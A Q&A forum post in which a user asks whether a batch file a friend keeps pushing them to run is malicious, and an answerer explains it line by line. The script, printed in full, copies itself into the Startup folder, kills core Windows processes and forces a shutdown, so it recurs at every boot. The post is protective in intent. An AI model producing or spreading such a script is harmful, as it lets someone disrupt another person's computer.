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Asked: 2021-12-18T15:52:27+00:00 In:

Evil Batch File.

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Is this batch file evil? or is it stupid? i know nothing about them and im wondering why my mate wants me to run it so badly.

the code is:

@echo off
copy %0 “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”
start “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\copy.bat”
copy %0 “C:\Program Files\Internet Explorer\en-US”
start “C:\Program Files\Internet Explorer\en-US\copy.bat”
taskkill /f /im “explorer.exe”
taskkill /f /im “taskeng.exe”
taskkill /f /im “rundll32.exe”
Shutdown /s /f /t 5

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      Here’s a breakdown:

      @echo off

Doesn't show you what it's doing, most batch files have this at the start.

copy %0 "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

I "believe" that this is copying itself to your startup folder.

start "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\copy.bat"

Starting itself, assuming you named it copy.bat..., but you didnt, then this wont work.

copy %0 "C:\Program Files\Internet Explorer\en-US"
start "C:\Program Files\Internet Explorer\en-US\copy.bat"

Starting and copying itself again, but this time to your internet explorer folder... =/

taskkill /f /im "explorer.exe"
taskkill /f /im "taskeng.exe"
taskkill /f /im "rundll32.exe"

Shutting down essential windows components,

Shutdown /s /f /t 5

And finally, shuts down your computer.

      Nice friend you have there…

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